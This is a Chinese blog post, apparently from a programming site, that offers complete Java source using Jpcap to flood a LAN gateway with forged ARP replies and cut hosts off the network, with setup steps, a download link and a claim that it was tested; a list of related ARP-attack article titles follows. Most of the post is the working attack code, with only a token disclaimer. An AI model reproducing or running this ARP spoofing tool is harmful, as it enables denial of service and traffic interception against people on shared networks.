文章意在技术交流,请勿用于做不道德的事情
代码已经做过测试,被攻击的局域网主机都会断网(在没有防护措施的情况下)
一:配置环境
链接:https://pan.baidu.com/s/1aJb-S9OhBS9aJnlUCRudaw
提取码:6zip
复制这段内容后打开百度网盘手机App,操作更方便哦
1.WinpPcap双击安装即可。
2.Jpcap.dll复制到java jdk的安装目录下的bin目录里
3.eclipse导入jpcap.jar包
(怕有病毒的可以去官网下载哦)

代码:

import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;    public class arp{    static byte[] stomac(String s) {    byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };    String[] s1 = s.split("-");    //s,传入的参数名,分割  for (int x = 0; x < s1.length; x++) {    mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);  //先从16进制转换成int,再从大向小处理(int变成byte),  (& 0xff)进行与运算避免出错。}    return mac;    //mac地址发送过去必须是byte字节,就是从16进制的mac地址转换成byte字节(这就是这个函数的作用)。}    public static void main(String[] args) throws Exception {while(true){for(int i=100;i<104;i++)    //ip最后一位自己设置{String str="192.168.0.";    //网段前三位str+=String.valueOf(i);System.out.println(str);InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺骗的目标IP地址   (要欺骗网关,填写网关的地址然后发送) byte[] desmac = stomac("59-d9-d5-cb-b6-48");// 被欺骗的目标目标MAC数组    InetAddress srcip = InetAddress.getByName(str);// 源IP地址      (给网关发送一个arp包,告诉网关这个ip地址的mac是什么)  byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC数组    // 枚举网卡并打开设备    NetworkInterface[] devices = JpcapCaptor.getDeviceList();  //枚举网卡设备  NetworkInterface device = devices[2];  //选择网卡设备  JpcapSender sender = JpcapSender.openDevice(device);  //打开网卡设备  // 设置ARP包    ARPPacket arp = new ARPPacket();    arp.hardtype = ARPPacket.HARDTYPE_ETHER;    //硬件类型  arp.prototype = ARPPacket.PROTOTYPE_IP;   //协议类型  arp.operation = ARPPacket.ARP_REPLY;      //操作类型 REPLY 表示类型为应答  arp.hlen = 6;  //硬件地址长度  arp.plen = 4;  //协议类型长度  //获取ip地址和mac地址,等下要用到arp.sender_hardaddr = srcmac;  //发送端MAC地址  arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址    secip(源ip)  arp.target_hardaddr = desmac;  //目标硬件地址  arp.target_protoaddr = desip.getAddress(); //目标IP地址    desip(目标ip) // 定义以太网首部  EthernetPacket ether = new EthernetPacket();    ether.frametype = EthernetPacket.ETHERTYPE_ARP;  //设置帧的类型为ARP帧  ether.src_mac = srcmac;  //源MAC地址  ether.dst_mac = desmac;  //目标MAC地址  arp.datalink = ether;  //添加        // 发送ARP应答包    System.out.println("sending arp..");    sender.sendPacket(arp);    Thread.sleep(10);    //休眠了0秒,但是执行 sleep 方法后,不仅会休眠,还会让 CPU 重新分配,这样一些功能就不会假死在那里。}}}
} 

欢迎分享

java实现arp断网攻击,可攻击局域网内所有的主机相关推荐

  1. 网络安全专栏——局域网arp断网攻击

    步骤 系列文章 前言 1.实验准备 1.1cmd命令行,查看本机ip网关信息 1.2确保本机能上网 1.3获取虚拟机信息 2.开始arp断网攻击 2.1 可能出现的问题:arpspoof: could ...

  2. java arp 攻击_基于Jpcap的Java ARP断网攻击

    这是大二学习计算机网络的时候写的一个小程序,可实现局域网内断网攻击.这也作为学习网络层.数据链路层(在OSI模型中ARP协议属于链路层:而在TCP/IP模型中,ARP协议属于网络层)的其中一个小实验吧 ...

  3. python指定进程断网_python通过scapy模块进行arp断网攻击

    前言: 想实现像arpsoof一样的工具 arp断网攻击原理: 通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量.攻击者 只要持续不断发送arp包就能造成中间人攻击或者断网攻击. ...

  4. 干货,分享kali安装arpspoof,以及常见错误问题,结尾附上局域网arp断网攻击

    第一步换源 进入 cd /etc/apt 更换两个源地址 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib ...

  5. arp断网攻击解决办法

    局域网中有这个提示arp断网攻击是正常的,说明防火墙已经拦截了,是有人用P2P工具控制你的网速,或者是局域网有机器中病毒了也会有这样的提示,不过不用担心,今天给大家带来几个防止arp断网攻击的办法,希 ...

  6. ARP断网欺骗攻击利用工具

    ARP(Address Resolution Protocol)即地址解析协议,是根据IP地址 获取物理地址(MAC地址)的TCP/IP协议.主要原理是主机发送信息时将包含目标IP地址的ARP请求广播 ...

  7. ARP断网攻击和防御

    在介绍ARP断网攻击之前,我们先来了解一些基本术语. 基本术语 ARP 英文全称为Address Resolution Protocol,即地址解析协议,是根据IP地址获取MAC地址的一个TCP/IP ...

  8. Linux kali内网渗透之ARP断网攻击

    Linux kali内网渗透之ARP断网攻击 ARP断网攻击 如果你的kali是虚拟机 ,请将其设置为网络桥接模式,这样才和内网在同一网段 如果你的kali里没有安装arpspoof,请在终端输入如下 ...

  9. 使用Kali进行ARP断网攻击

    一.使用Kali进行ARP断网攻击 ARP(Address Resolution Protocol),地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议. 主机发送信息时将包含目标IP地址 ...

最新文章

  1. 浙大吴飞教授:尽管AlphaGo Zero已强大到从经验中学习模型,我也绝不赞同马斯克和霍金的威胁论,人才是智能的最终主宰
  2. 探讨.NET Core数据进行3DES加密和解密问题
  3. php laravel 默认cookie加密 读取怎么办_Laravel+Nginx轻松实现读写分离、负载均衡,网站并发能力提升N倍...
  4. 对于SAP的月结相关流程介绍
  5. 腾讯基于全时态数据库技术的数据闪回
  6. 最优化课堂笔记04:非线性规划(考点4-5例题)
  7. shell(希尔排序)
  8. LeetCode 1652. 拆炸弹(前缀和)
  9. 大同大学计算机与网络工程学院,计算机与网络工程学院代表队 在第十一届“蓝桥杯”全国软件和信息技术人才大赛全国决赛中再获佳绩...
  10. 计算机网络—停止等待协议(思维导图)
  11. Flask 系列之 SQLAlchemy
  12. oracle学习笔记汇总
  13. AndroidStudio遇到的问题
  14. 如何用计算机画出分子轨道图,常见的分子轨道图.pdf
  15. Python:try……excepted捕获方法
  16. Android 图片虚化,虚化图片,模糊图片
  17. Devise Gem简介
  18. 如何做好项目规划?以及项目规划常用的管理软件盘点
  19. 接口文档应该如何编写
  20. ios 判断应该用pop返回还是dismis返回

热门文章

  1. python神经网络训练_Python深度学习训练神经网络
  2. 被尘封的故事鸿蒙轩,被尘封的故事全任务通关人物存档
  3. java中getlast_Java ArrayDeque getLast()用法及代码示例
  4. matlab设计凸轮轮廓代码_机械设计基础之什么是凸轮机构,分类和常用运动规律是怎么样的?...
  5. lua游戏开发实践指南光盘_Godot游戏开发实践之一:用High Level Multiplayer API制作多人游戏(上)
  6. 使用Zookeeper共享锁和排它锁和分布式队列的原理和实现(ZkClient)
  7. MATLAB中unwrap函数
  8. oracle是delete可以加并行吗,提高Oracle DELETE性能的策略
  9. knn k的选取_经典算法(四):KNN
  10. Mybatis 一对多关联查询collection用法